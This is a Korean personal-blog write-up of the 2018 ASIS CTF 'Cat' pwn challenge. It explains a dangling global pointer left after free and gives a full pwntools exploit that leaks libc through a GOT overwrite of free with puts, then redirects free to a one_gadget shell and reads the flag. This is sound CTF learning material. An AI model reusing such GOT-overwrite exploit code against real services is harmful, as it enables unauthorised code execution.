HanJeouk의 개인공부 블로그

2018_Asis_CTF Cat

CTF2018. 5. 3. 00:41

메인 함수를 보자!

이렇게 되어있다!

우선 create 함수를 보면 함수가 한번 실행될 때 3번을 할당한다.

먼저 포인터 청크를 하나 만들고 name 청크 kind 청크를 만들어서 관리한다.

그 다음으로 edit 함수를 보자

create와 같이 청크 3개를 할당한다.

n을 누르면 free를 하는데 전역변수 0x6020f0을 0으로 초기화 시키지 않는다. 그렇게 되면 다음부터 edit 함수를 쓸 때는 할당하지 않고 바로 0x6020f0쪽에 값을 넣을 수 있게 된다. 그래서 그쪽에 청크를 만들고 edit을 시키면 청크 포인터를 조작할 수 있다. 

나는 그걸 이용해서 free를 puts로 덮어서 릭을 하고 다시 free를 one_shot으로 덮어서 풀었다. print 함수를 썼으면 free를 puts로 안덮고 그냥 릭할 수 있었는데 까먹었었다 ㅎㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
#p=process("./Cat")
p=remote('178.62.40.102',6000)
elf = ELF("./Cat")
 
def create(name,kind,old):
        p.sendlineafter("> ","1")
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        print p.sendlineafter("> ",str(old))
 
def modify(idx,name,kind,old,select):
        p.sendlineafter("> ","2")
        p.sendlineafter("> ",str(idx))
        p.sendlineafter("> ",name)
        p.sendlineafter("> ",kind)
        p.sendlineafter("> ",str(old))
        print p.sendlineafter("n> ",select)
 
def print1(idx):
        p.sendlineafter("> ","3")
        print p.sendlineafter("> ",str(idx))
 
def print2(idx):
        p.sendlineafter("> ","4")
 
def delete(idx):
        p.sendlineafter("> ","5")
        p.sendlineafter("> ",str(idx))
 
create("AAAA","AAAA",10)
modify(0,"BBBB","BBBB",10,"n")
create(p64(elf.got["free"]),p64(elf.got["free"]),10)
modify(0,p64(elf.plt["puts"]),"T"*16+p32(elf.got["puts"]),"1","n")
 
delete(0)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
one = base+0xf02a4
print "puts: " + hex(puts)
print "base: " + hex(base)
modify(1,p64(one),"T"*16,10,"n")
p.sendline("cat /home/pwn/flag")
p.interactive()
 
cs




'CTF' 카테고리의 다른 글

2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018 HITB-XCTF d  (0) 2018.04.15
2018 Codegate Final heapbabe & 후기  (0) 2018.04.08
2017 Codegate Final building_owner  (0) 2018.03.29